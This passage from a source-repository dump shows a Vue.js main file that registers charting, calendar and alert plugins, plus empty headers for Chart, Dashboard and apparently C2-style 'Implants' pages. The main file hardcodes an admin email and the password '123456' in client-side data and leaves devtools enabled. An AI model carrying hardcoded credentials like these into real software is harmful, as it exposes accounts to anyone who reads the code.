'./styles/global.css'; 14 | 15 | import axios from 'axios'; 16 | import VueAxios from 'vue-axios'; 17 | 18 | Vue.use(VueAxios, axios); 19 | 20 | import VueChartkick from 'vue-chartkick'; 21 | import Chart from 'chart.js'; 22 | import fullCalendar from 'vue-fullcalendar'; 23 | import { setupComponents } from './config/setup-components'; 24 | 25 | import { setupAndGetI18n } from './config/setup-i18n'; 26 | 27 | const i18n = setupAndGetI18n(Vue); 28 | 29 | import swatches from 'vue-swatches'; 30 | import "vue-swatches/dist/vue-swatches.min.css" 31 | import VueSimpleAlert from "vue-simple-alert"; 32 | 33 | 34 | Vue.use(VueSimpleAlert); 35 | Vue.use(VueChartkick, { adapter: Chart }); 36 | Vue.component('full-calendar', fullCalendar); 37 | Vue.component('swatches', swatches); 38 | 39 | 40 | setupComponents(Vue); 41 | Vue.use(Vuetify); 42 | 43 | Vue.config.productionTip = false 44 | //Added to enable debugging for now 45 | Vue.config.devtools = true 46 | /* eslint-disable no-new */ 47 | new Vue({ 48 | el: '#app', 49 | router, 50 | i18n, 51 | components: { App }, 52 | template: '', 53 | data: { 54 | themeColor: '#1D2939', 55 | userEmail: 'admin@yopmail.com', 56 | userPassword: '123456' 57 | }, 58 | 59 | methods: { 60 | setLanguage(language) { 61 | const vm = this; 62 | 63 | localStorage.setItem('language', language); 64 | 65 | document.documentElement.lang = language; 66 | 67 | vm.$i18n.locale = language; 68 | 69 | vm.$vuetify.lang.current = language; 70 | } 71 | }, 72 | 73 | created() { 74 | const vm = this; 75 | 76 | vm.setLanguage('en'); 77 | }, 78 | }) 79 | -------------------------------------------------------------------------------- /vue-static/src/pages/Chart.vue: -------------------------------------------------------------------------------- 1 | 38 | 39 | 115 | 116 | 119 | -------------------------------------------------------------------------------- /vue-static/src/pages/Dashboard.vue: -------------------------------------------------------------------------------- 1 | 58 | 59 | 118 | 119 | 120 | -------------------------------------------------------------------------------- /vue-static/src/pages/Implants.vue: -------------------------------------------------------------------------------- 1 |